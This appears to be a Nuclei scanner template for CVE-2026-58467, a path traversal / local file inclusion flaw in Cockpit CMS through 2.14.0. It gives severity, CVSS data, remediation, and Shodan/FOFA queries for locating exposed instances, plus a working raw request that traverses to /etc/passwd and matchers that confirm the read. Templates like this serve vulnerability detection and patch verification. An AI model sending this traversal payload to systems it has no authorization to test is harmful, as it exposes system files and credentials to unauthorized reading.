id: CVE-2026-58467 info: name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion author: Abdullah Shahid (comradezephyr) severity: high description: | Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files. impact: | An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise. remediation: | Upgrade to Cockpit CMS version 2.14.1 or higher. reference: - https://www.cve.org/CVERecord?id=CVE-2026-58467 - https://nvd.nist.gov/vuln/detail/CVE-2026-58467 - https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1 - https://github.com/geo-chen/oss/blob/main/cockpit.md classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N cvss-score: 8.2 cve-id: CVE-2026-58467 epss-score: 0.0173 epss-percentile: 0.77755 cwe-id: CWE-22 metadata: verified: false max-request: 1 vendor: cockpit-hq product: cockpit shodan-query: 'http.favicon.hash:"688609340"' fofa-query: 'icon_hash=="688609340"' tags: cve,cve2026,cockpit,cms,lfi,traversal http: - raw: - | GET /:x/storage/../../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402200fa040c528cdaddb7290dbeb7bf54f498171892d40cc68588e97a30d0f7ab63c02203a5ecdec096d57bac1fde62ba62b2f3d81f968d435dc397a74ed22cf04351197:922c64590222798bb761d5b6d8e72950